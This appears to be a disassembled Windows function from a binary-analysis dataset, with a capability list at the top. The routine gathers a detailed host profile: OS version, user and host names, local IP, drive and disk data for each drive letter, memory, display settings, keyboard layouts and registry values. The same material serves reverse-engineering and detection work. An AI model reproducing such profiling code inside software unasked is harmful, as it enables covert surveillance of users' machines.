Function at 0x407914
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xce
push 0
push 0
dec ecx
jne 0x40791c
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x408c9e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040371c
mov eax, 0x415b14
mov edx, 0x408cb4
call fcn.00403770
mov dword [ebp - 0xe4], 0x94
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x40797d
lea eax, [ebp - 0xc]
mov edx, 0x408cf4
call fcn.004037b4
jmp 0x4079a1
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e0]
call fcn.00405390
mov ecx, dword [ebp - 0x5e0]
lea eax, [ebp - 0xc]
mov edx, 0x408d10
call fcn.004038e0
cmp byte [0x415b44], 0
je 0x4079b9
lea eax, [ebp - 8]
mov edx, 0x408d2c
call fcn.004037b4
jmp 0x4079c6
lea eax, [ebp - 8]
mov edx, 0x408d3c
call fcn.004037b4
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e4]
call fcn.00405390
push dword [ebp - 0x5e4]
push 0x408d4c
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5e8]
call fcn.00405390
push dword [ebp - 0x5e8]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x10]
mov edx, 0x408d58
call fcn.004039e0
jne 0x407a2a
lea eax, [ebp - 8]
mov edx, 0x408d64
call fcn.004037b4
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040387c
mov eax, dword [ebp - 0x1c]
mov edx, 0x408d74
call fcn.004039e0
jne 0x407a5b
lea eax, [ebp - 0x1c]
mov edx, 0x408d8c
call fcn.004037b4
jmp 0x407ab3
mov eax, dword [ebp - 0x1c]
mov edx, 0x408d98
call fcn.004039e0
jne 0x407a79
lea eax, [ebp - 0x1c]
mov edx, 0x408db0
call fcn.004037b4
jmp 0x407ab3
mov eax, dword [ebp - 0x1c]
mov edx, 0x408dbc
call fcn.004039e0
jne 0x407a97
lea eax, [ebp - 0x1c]
mov edx, 0x408dd4
call fcn.004037b4
jmp 0x407ab3
mov eax, dword [ebp - 0x1c]
mov edx, 0x408de0
call fcn.004039e0
jne 0x407ab3
lea eax, [ebp - 0x1c]
mov edx, 0x408df8
call fcn.004037b4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5ec]
call fcn.00405390
mov ecx, dword [ebp - 0x5ec]
lea eax, [ebp - 0x14]
mov edx, 0x408e04
call fcn.004038e0
push dword [ebp - 8]
push 0x408e14
push dword [ebp - 0x10]
push 0x408e20
push dword [ebp - 0x1c]
push 0x408e20
push dword [ebp - 0x14]
push 0x408e20
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.00403954
push 0x408e2c
push dword [ebp - 0xc]
push 0x408e2c
push dword [ebp - 8]
push 0x408e14
push dword [ebp - 0x10]
push 0x408e2c
push dword [ebp - 0x14]
push 0x408e2c
push dword [ebp - 0x1c]
push 0x408e2c
push 0x408e38
push dword [0x415adc]
push 0x408e4c
push 0x408e2c
mov eax, ebx
mov edx, 0xf
call fcn.00403954
push 0xfa
lea eax, [ebp - 0x5bb]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [ebx]
push 0x408e58
lea eax, [ebp - 0x5f0]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5f0]
push 0x408e2c
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x408e6c
mov edx, 0x408e80
mov eax, 0x80000001
call fcn.00406724
push dword [ebx]
push 0x408ea4
push dword [ebp - 8]
push 0x408e2c
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push dword [ebp - 8]
push 0x408e20
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403954
push dword [ebx]
push 0x408eb8
push dword [0x415ad8]
push 0x408e2c
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push 0x408ed0
push dword [0x415ad8]
push 0x408e20
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
mov eax, 0x415b14
mov edx, 0x408ee0
call fcn.00403770
mov dword [ebp - 0x4c], 0x32
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x5bb]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [ebx]
push 0x408f3c
lea eax, [ebp - 0x5f4]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5f4]
push 0x408e2c
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push 0x408f50
lea eax, [ebp - 0x5f8]
lea edx, [ebp - 0x5bb]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5f8]
push 0x408e20
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
lea eax, [ebp - 8]
mov edx, 0x408f60
call fcn.004037b4
lea eax, [ebp - 0xc]
mov ecx, 0x408f84
mov edx, dword [ebp - 8]
call fcn.004038e0
lea eax, [ebp - 0x108]
push eax
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [0x4141fc]
push eax
mov ecx, 0x408fa0
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406670
lea edx, [ebp - 0x10]
call fcn.00405370
mov eax, dword [ebp - 0x10]
call fcn.00403894
cmp eax, 3
jge 0x407d30
push 0
push 0x100000
call fcn.004078a4
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x10]
call fcn.00405390
push dword [ebp - 0x18]
push 0x408fb0
push dword [ebp - 0x10]
push 0x408e20
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
push dword [ebx]
push 0x408fc0
push 0x408fcc
push dword [ebp - 0x10]
push 0x408fdc
push 0x408e2c
push 0x408fec
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x5fc]
push eax
mov ecx, 0x409004
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x5fc]
push 0x408e2c
push 0x409020
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x600]
push eax
mov ecx, 0x409038
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x600]
push 0x408e2c
push 0x40904c
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x604]
push eax
mov ecx, 0x409060
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x604]
push 0x408e2c
push 0x40907c
mov eax, dword [ebp - 0xf0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x608]
call fcn.00405390
push dword [ebp - 0x608]
push 0x408e2c
push 0x409094
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x60c]
push eax
mov ecx, 0x4090ac
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x60c]
push 0x408e2c
push 0x4090c8
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x610]
push eax
mov ecx, 0x4090dc
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x610]
push 0x408e2c
push 0x4090f4
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x614]
push eax
mov ecx, 0x409114
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x614]
push 0x408e2c
push 0x409130
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x618]
push eax
mov ecx, 0x40914c
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x618]
push 0x408e2c
mov eax, ebx
mov edx, 0x1e
call fcn.00403954
mov eax, 0x415b14
mov edx, 0x409164
call fcn.00403770
lea eax, [ebp - 8]
mov edx, 0x409188
call fcn.004037b4
xor edi, edi
lea edx, [ebp - 0x14]
mov eax, edi
call fcn.00405370
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x61c]
mov ecx, dword [ebp - 0x14]
mov edx, 0x409198
call fcn.004038e0
mov ecx, dword [ebp - 0x61c]
mov edx, 0x4091b0
mov eax, 0x80000002
call fcn.00406724
mov eax, dword [ebp - 0x10]
call fcn.00403894
test eax, eax
jle 0x407f87
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x408e2c
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x620]
mov ecx, dword [ebp - 0x14]
mov edx, 0x4091d8
call fcn.004038e0
mov ecx, dword [ebp - 0x620]
mov edx, 0x4091f4
mov eax, 0x80000002
call fcn.00406724
mov eax, dword [ebp - 0x10]
call fcn.00403894
test eax, eax
jle 0x407fe3
push dword [ebx]
push dword [ebp - 8]
push dword [ebp - 0x10]
push 0x408e2c
mov eax, ebx
mov edx, 4
call fcn.00403954
inc edi
cmp edi, 7
jne 0x407f21
mov eax, dword [0x4141fc]
push eax
mov ecx, 0x409220
mov edx, 0x409238
mov eax, 0x80000002
call fcn.00406670
lea edx, [ebp - 0x14]
call fcn.00405370
mov eax, dword [ebp - 0x14]
call fcn.00403894
test eax, eax
jle 0x408035
push 0x409280
push dword [ebp - 0x14]
push 0x408e2c
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00403954
mov eax, 0x415b14
mov edx, 0x409298
call fcn.00403770
mov dword [ebp - 0x128], 0x20
lea eax, [ebp - 0x128]
push eax
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [ebp - 0x120]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 8]
call fcn.00405390
push dword [ebp - 0x18]
push 0x4092f8
push dword [ebp - 8]
push 0x408e20
push dword [0x415adc]
push 0x408e20
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.00403954
push dword [ebx]
push 0x408fc0
push 0x409308
push 0x408e2c
push 0x40931c
push dword [ebp - 8]
push 0x409334
push 0x408e2c
push 0x409340
mov eax, dword [ebp - 0x124]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x624]
call fcn.00405390
push dword [ebp - 0x624]
push 0x409350
push 0x408e2c
push 0x40935c
mov eax, dword [ebp - 0x11c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x628]
call fcn.00405390
push dword [ebp - 0x628]
push 0x409334
push 0x408e2c
push 0x408fc0
push 0x409374
push 0x408e2c
push 0x409388
mov eax, dword [ebp - 0x118]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x62c]
call fcn.00405390
push dword [ebp - 0x62c]
push 0x409334
push 0x408e2c
push 0x40939c
mov eax, dword [ebp - 0x114]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x630]
call fcn.00405390
push dword [ebp - 0x630]
push 0x409334
push 0x408e2c
push 0x4093b0
mov eax, dword [ebp - 0x110]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x634]
call fcn.00405390
push dword [ebp - 0x634]
push 0x409334
push 0x408e2c
push 0x4093c8
mov eax, dword [ebp - 0x10c]
shr eax, 0x14
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x638]
call fcn.00405390
push dword [ebp - 0x638]
push 0x409334
push 0x408e2c
push 0x408e2c
push 0x4093e0
push dword [0x415aec]
push 0x408e2c
push dword [ebp - 0x14]
mov eax, ebx
mov edx, 0x28
call fcn.00403954
lea eax, [ebp - 0x2b8]
push eax
push 0x101
call sub.wsock32.dll_WSAStartup
push 0xff
lea eax, [ebp - 0x5bb]
push eax
call sub.wsock32.dll_gethostname
lea eax, [ebp - 0x5bb]
push eax
call sub.wsock32.dll_gethostbyname
mov esi, eax
mov eax, dword [esi + 0xc]
mov eax, dword [eax]
push dword [eax]
call sub.wsock32.dll_inet_ntoa
mov edx, eax
lea eax, [ebp - 8]
call fcn.0040384c
push dword [ebx]
push 0x4093f0
push dword [ebp - 8]
mov eax, ebx
mov edx, 3
call fcn.00403954
push dword [ebp - 0x18]
push 0x409404
push dword [ebp - 8]
push 0x408e20
push 0x409410
lea eax, [ebp - 0x18]
mov edx, 5
call fcn.00403954
call sub.wsock32.dll_WSACleanup
push dword [ebx]
push 0x408e2c
push 0x408e2c
push 0x409420
push 0x408e2c
mov eax, ebx
mov edx, 5
call fcn.00403954
mov byte [ebp - 1], 0x42
lea eax, [ebp - 0x63c]
mov dl, byte [ebp - 1]
call fcn.0040383c
mov edx, dword [ebp - 0x63c]
lea eax, [ebp - 0x20]
mov ecx, 0x409438
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00403a94
mov esi, eax
push esi
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 6
ja case.0x4082db.0
jmp dword [eax*4 + 0x4082e2]
lea eax, [ebp - 8]
mov edx, 0x409444
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x409458
call fcn.004037b4
jmp 0x4083c3
lea eax, [ebp - 8]
mov edx, 0x409464
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x409474
call fcn.004037b4
jmp 0x4083c3
lea eax, [ebp - 8]
mov edx, 0x409480
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x409490
call fcn.004037b4
jmp 0x4083c3
lea eax, [ebp - 8]
mov edx, 0x4094a0
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x4094b0
call fcn.004037b4
push dword [ebx]
push 0x408e2c
push 0x408fc0
push dword [ebp - 0x20]
push dword [ebp - 8]
push 0x408e2c
mov eax, ebx
mov edx, 6
call fcn.00403954
lea eax, [ebp - 8]
call fcn.0040371c
jmp 0x4083c3
lea eax, [ebp - 8]
mov edx, 0x4094bc
call fcn.004037b4
lea eax, [ebp - 0xc]
mov edx, 0x4094cc
call fcn.004037b4
jmp 0x4083c3
lea eax, [ebp - 8]
call fcn.0040371c
mov eax, dword [ebp - 8]
call fcn.00403894
dec eax
jl 0x4085df
push dword [ebp - 0x18]
lea eax, [ebp - 0x640]
mov dl, byte [ebp - 1]
call fcn.0040383c
push dword [ebp - 0x640]
push 0x4094e0
push dword [ebp - 0xc]
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
push dword [ebx]
push 0x408fc0
push dword [ebp - 0x20]
push 0x408e2c
push 0x4094ec
push dword [ebp - 8]
push 0x408e2c
mov eax, ebx
mov edx, 7
call fcn.00403954
push 0x64
lea eax, [ebp - 0x4c0]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x104
lea eax, [ebp - 0x3bc]
push eax
push esi
call sub.kernel32.dll_GetVolumeInformationA
test eax, eax
je 0x408515
push dword [ebx]
push 0x4094fc
lea eax, [ebp - 0x644]
lea edx, [ebp - 0x3bc]
mov ecx, 0x104
call fcn.0040387c
push dword [ebp - 0x644]
push 0x408e2c
push 0x40950c
lea eax, [ebp - 0x648]
lea edx, [ebp - 0x4c0]
mov ecx, 0x104
call fcn.0040387c
push dword [ebp - 0x648]
push 0x408e2c
push 0x40951c
mov eax, dword [ebp - 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x64c]
call fcn.00405390
push dword [ebp - 0x64c]
push 0x408e2c
push 0x40952c
mov eax, dword [ebp - 0x28]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x650]
call fcn.00405390
push dword [ebp - 0x650]
push 0x408e2c
push 0x409540
mov eax, dword [ebp - 0x2c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x654]
call fcn.00405390
push dword [ebp - 0x654]
push 0x408e2c
mov eax, ebx
mov edx, 0x10
call fcn.00403954
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
push esi
call sub.kernel32.dll_GetDiskFreeSpaceExA
test eax, eax
je 0x4085df
push dword [ebx]
push 0x409550
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x658]
call fcn.00405390
push dword [ebp - 0x658]
push 0x409334
push 0x408e2c
push 0x409560
push 0
push 0x100000
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x65c]
call fcn.00405390
push dword [ebp - 0x65c]
push 0x409334
push 0x408e2c
push 0x409570
push 0
push 0x100000
mov eax, dword [ebp - 0x40]
mov edx, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x48]
sbb edx, dword [ebp - 0x44]
call fcn.00403ff8
push edx
push eax
lea eax, [ebp - 0x660]
call fcn.00405390
push dword [ebp - 0x660]
push 0x409334
push 0x408e2c
mov eax, ebx
mov edx, 0xd
call fcn.00403954
inc byte [ebp - 1]
cmp byte [ebp - 1], 0x5b
jne 0x4082a1
mov eax, 0x415b14
mov edx, 0x409580
call fcn.00403770
push 0
push 0
push 0
push 0x4095a0
call sub.gdi32.dll_CreateDCA
mov esi, eax
push 8
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 8]
call fcn.00405370
push 0xa
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0xc]
call fcn.00405370
push 0x74
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x10]
call fcn.00405370
push 0xc
push esi
call sub.gdi32.dll_GetDeviceCaps
lea edx, [ebp - 0x14]
call fcn.00405370
push esi
call sub.gdi32.dll_DeleteDC
mov eax, 0x415b14
mov edx, 0x4095b0
call fcn.00403770
push dword [ebx]
push 0x408fc0
push 0x409614
push 0x408e2c
push 0x409628
push dword [ebp - 8]
push 0x408e2c
push 0x409638
push dword [ebp - 0xc]
push 0x408e2c
push 0x40964c
push dword [ebp - 0x10]
push 0x408e2c
push 0x409660
push dword [ebp - 0x14]
push 0x408e2c
mov eax, ebx
mov edx, 0x10
call fcn.00403954
push dword [ebp - 0x18]
push 0x408e20
push 0x409678
push dword [ebp - 8]
push 0x409688
push dword [ebp - 0xc]
push 0x409694
push dword [ebp - 0x10]
push 0x409688
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
mov edx, 0xa
call fcn.00403954
lea eax, [ebp - 0x5dc]
xor ecx, ecx
mov edx, 7
call fcn.00402bd8
lea eax, [ebp - 0x5dc]
push eax
push 8
call sub.user32.dll_GetKeyboardLayoutList
mov dword [ebp - 0x4c], eax
push 0x4096a0
mov eax, dword [ebp - 0x4c]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x664]
call fcn.00405390
push dword [ebp - 0x664]
push 0x408e2c
lea eax, [ebp - 8]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x4c]
dec eax
test eax, eax
jl 0x408b83
inc eax
mov dword [ebp - 0x50], eax
xor edi, edi
lea esi, [ebp - 0x5dc]
mov eax, dword [esi]
and eax, 0xff
cmp eax, 0x38
ja case.0x408762.0
jmp dword [eax*4 + 0x408769]
lea eax, [ebp - 0x14]
mov edx, 0x4096bc
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4096cc
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4096dc
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4096ec
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4096fc
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40970c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40971c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40972c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40973c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40974c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40975c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40976c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40977c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409788
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40979c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4097b0
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4097c0
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4097d0
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4097e0
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4097f0
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409800
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409810
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409824
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409838
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40984c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40985c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409870
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409880
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409890
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4098a4
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4098b8
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4098c8
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4098dc
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4098f0
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x4098fc
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40990c
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409920
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409930
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409940
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409950
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x409960
call fcn.004037b4
jmp case.0x408762.0
lea eax, [ebp - 0x14]
mov edx, 0x40996c
call fcn.004037b4
push dword [ebp - 8]
lea edx, [ebp - 0x668]
lea eax, [edi + 1]
call fcn.00405370
push dword [ebp - 0x668]
push 0x40997c
mov eax, dword [esi]
and eax, 0xff
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x66c]
call fcn.00405390
push dword [ebp - 0x66c]
push 0x408e14
push dword [ebp - 0x14]
push 0x408e2c
lea eax, [ebp - 8]
mov edx, 7
call fcn.00403954
inc edi
add esi, 4
dec dword [ebp - 0x50]
jne 0x408752
mov eax, 0x415b14
mov edx, 0x409988
call fcn.00403770
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.0040389c
lea eax, [ebp - 0x10]
mov edx, 0x4099f0
call fcn.004037b4
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x409a0c
mov edx, dword [ebp - 0x10]
mov eax, 0x80000001
call fcn.00406724
cmp dword [ebp - 8], 0
je 0x408c24
push dword [ebx]
push 0x408fc0
push 0x409a20
push dword [ebp - 8]
push 0x408e2c
push 0x409a38
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0x670]
push eax
mov ecx, 0x409a4c
mov edx, dword [ebp - 0x10]
mov eax, 0x80000002
call fcn.00406724
push dword [ebp - 0x670]
push 0x408e2c
mov eax, ebx
mov edx, 8
call fcn.00403954
push 0x409a5c
push dword [ebp - 0x18]
push 0x408e2c
push 0x409a84
push 0x408e2c
push 0x409a94
lea edx, [ebp - 0x674]
mov eax, 0x72
call fcn.00405370
push dword [ebp - 0x674]
push dword [ebx]
mov eax, ebx
mov edx, 8
call fcn.00403954
mov eax, 0x415b14
mov edx, 0x409aa8
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x408ca5
lea eax, [ebp - 0x674]
mov edx, 0x26
call fcn.00403740
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.00403740
ret